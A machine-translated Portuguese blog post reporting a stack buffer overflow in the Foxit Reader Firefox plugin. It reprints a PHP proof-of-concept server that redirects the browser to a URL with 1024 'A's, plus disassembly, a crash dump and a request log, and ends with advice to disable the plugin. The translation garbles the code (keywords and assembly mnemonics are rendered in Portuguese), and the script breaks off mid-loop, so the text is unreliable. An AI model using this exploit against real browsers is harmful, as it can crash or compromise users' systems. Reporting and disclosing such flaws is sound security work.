domingo, janeiro 20, 2013

, ,

Vulnerabilidade crítica no plugin de Foxit PDF para o Firefox

Por algum tempo eu uso o Foxit Reader PDF como padrão leitor, é leve, rápido e usa menos recursos do que o Adobe Reader. Além do malware é continuamente chicotadas Adobe por simples economia de guerra: a maioria dos usuários usá-lo e são mais propensos a se espalhar. Eu posso então? Embutirme no meu roupão, enquanto egged um incêndio chaminé e cantou o slogan " Eu me sinto seguroooo "? Longe disso ... 

A partir do Adobe Reader X é orientado para a área de segurança de segurança e correções aplicadas e aplicada devido a múltiplas vulnerabilidades descobertas por um exército de beta testersdispostos a abrir as portas para seus artefatos maliciosos. Então, talvez o Foxit Reader não é o inimigo público número um, mas isso não significa mais seguro. 

O consultor italiano Andrea Micalizzi, aka rgod , nos lembrou recentemente pela publicação de uma vulnerabilidade que afeta, sim, o plugin do Foxit PDF para o navegador . Ou seja, o erro não está presente no leitor de PDF em si, se não na biblioteca npFoxitReaderPlugin.dll que atua como um intermediário entre o navegador eo Foxit Reader. 

Especificamente, o código é vulnerável a um estouro de pilha no processamento de pedidos de ligações longa . A prova de conceito é claro: agora trabalha na versão mais recente do Firefox (18,0) e da última versão do Foxit Reader (5.4.4.1128) com o seu plugin (2.2.1.530).  
Vamos olhar para código l de rgod:

 <? php * /

Foxit Reader <= Plugin para Firefox 5.4.4.1128 overlong npFoxitReaderPlugin.dll 
Query String remoto Stack Buffer Overflow PoC rgod ---------------------------

(Ouvinte)

Testado contra Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

Arquivo: npFoxitReaderPlugin.dll
Versão: 2.2.1.530

Url produto: http://www.foxitsoftware.com/downloads/
Arquivo de instalação última versão: FoxitReader544.11281_enu_Setup.exe

Uso:
Lançamento da linha de comando, em seguida, navegar com o Firefox porta 6666.
Você também pode testá-lo através do site:

http://192.168.0.1/x.pdf? [A x 1024]

Arquivo deve ser existentes ou o servidor deve estar respondendo com
o cabeçalho Content-Type adequada.

código vulnerável, npFoxitReaderPlugin.dll:

, ------------------------------------------------- -----------------------------
 L1000162F:
    empurrar ebx
    empurrar esi
    empurrar edi
    mov edi, ebp
    ou ecx, FFFFFFFFh
    xor eax, eax
    xor ebx, ebx
    esi xor, esi
    REPNE SCASB
    não ecx
    dezembro ecx
    teste ecx, ecx
    jle L100016E4
 L1000164A:
    mov al, [esi + ebp]
    mov word ptr [esp 18 h], 0000h
    cmp al, 25h
    jz L10001661
    mov ecx, [esp Ch 1]
    mov [ebx + ecx], o
    jmp L100016CE
 L10001661:
    mov al, [esi + ebp 01 h]
    cmp al, 30h
    jl L1000166D
    cmp al, 39h
    jle L1000167D
 L1000166D:
    cmp al, 41h
    jl L10001675
    cmp al, 46h
    jle L1000167D
 L10001675:
    cmp al, 61H
    jl L100016C6
    cmp al, 66h
    jg L100016C6
 L1000167D:
    mov dl, [esi + ebp 01 h]
    esi inc
    esi inc
    leia ecx, [esp +10 h]
    mov [esp 18 h], dl
    empurrar ecx
    mov al, [esi + ebp]
    lea edx, [esp Ch 1]
    empurrar L100450D4
    empurrar edx
    mov [esp 25 h], o
    chamar SUB_L10006421
    mov eax, [esp Ch 1]
    leia ecx, [esp 24 h]
    empurrar eax
    empurrar L100450D0
    empurrar ecx
    chamar SUB_L100063CF
    mov eax, [esp 34 h]
    mov dl, [esp 30 h]
    adicionar esp, 00000018h
    mov [ebx + eax], dl
    jmp L100016CE
 L100016C6:
    mov ecx, [esp Ch 1]
    mov byte ptr [ebx + ecx], 25h
 L100016CE:
    inc ebx
    mov edi, ebp
    ou ecx, FFFFFFFFh
    xor eax, eax
    esi inc
    REPNE SCASB
    não ecx
    dezembro ecx
    cmp esi, ecx
    jl L1000164A
 L100016E4:
    mov edx, [esp Ch 1]
    edi pop
    esi pop
    mov eax, 00000001H
    mov byte ptr [ebx + edx], 00h
    pop ebx
    pop ebp
    pop ecx
    retn
, ------------------------------------------------- -----------------------------

copiar este ciclo termina em substituição ponteiros de pilha, em seguida, 
(Ao ligar para plugin-container.exe):

(F48.1778): violação de acesso - código c0000005 (primeira chance)
Exceções de primeira chance são relatados antes de qualquer tratamento de exceção.
Essa exceção pode ser esperado e manipulados.
eax = 00000341 ebx = 0076ed4c 002cf414 edx = ecx = esi = 41414141 edi = 002cf414 0076e9e8
eip = 10016852 esp = 002cf3f8 ebp = iopl = 0 nv up ei pl 75eacdf8 nz nd po nc
cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010202
! npFoxitReaderPlugin NP_GetEntryPoints 0 x15672:
10016852 8906 mov dword ptr [esi], eax ds: 0023:41414141 =????
...
Tentativa de escrever para tratar 41414141
...

Também ponteiros SEH são substituídas
* /

error_reporting ( 0 );

set_time_limit ( 0 );

$ Porta =  6666 ;

____ $ Redirecionar =  "HTTP/1.1 301 Movido Permanentemente \ r \ n" . 
                "Servidor: Apache \ r \ n" . 
                "Localização:? / x.pdf" . str_repeat ( "A" , 1024 .) "\ r \ n " . 
                Content-Type ": text / html \ r \ n \ r \ n" ;

$ ____ Crescimento      =  "HTTP/1.1 200 OK \ r \ n" . 
                "Servidor: Apache \ r \ n" . 
                "Accept-Ranges: bytes \ r \ n" . 
                "Content-Length: 60137 \ r \ n" . 
                " ": Content-Type application / pdf \ r \ n . 
                "Connection: keep-alive \ r \ n \ r \ n" ;

$ Socket = stream_socket_server ( "tcp :/ / 0.0.0.0" . $ port , $ errno , $ errstr );

se  (! $ socket )  { 
  ECHO "$ errstr ($ errno) \ n" ; 
}  mais  { 
  ECHO "escutando na porta TCP público" . $ port . "\ n" ;   
  enquanto  ( $ conn = stream_socket_accept ( $ socket ))  { 
    $ linha = fgets ( $ conn ); 
    senhorita
     
    
     
    
  


Agora, execute o php (x.php no meu exemplo) a partir da linha de comando do nosso Windows 7: 

D : \ xampplite \ htdocs > d : \ xampplite \ php \ php . exe - fx . php
 Ouvir em público a porta TCP 6666 
GET / x . pdf ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/ 1,1
E, finalmente, visam corrigir o endereço e porta no navegador: 
  
  
Como você pode ver, temos causou o acidente do plugin com despeinarnos pouco ...  
Atualmente não há nenhuma atualização para resolvê-lo e outras versões do Foxit Reader e outros navegadores (Firefox, Chrome e Safari) podem ser vulneráveis, por isso é recomendável desabilitar o plugin até novo aviso: 

Para desativar arquivos PDF não será aberto diretamente no navegador e será carregado em um novo processo de Foxit Reader, evitando assim o uso do plugin DLL vulnerável. 

Fonte: vulnerabilidade reportada no Foxit PDF Plugin para o Firefox - como mitigá-la 
Atualização:  18 / 01/2012 : 


fonte: hackplayers.com

0 comentários:

Postar um comentário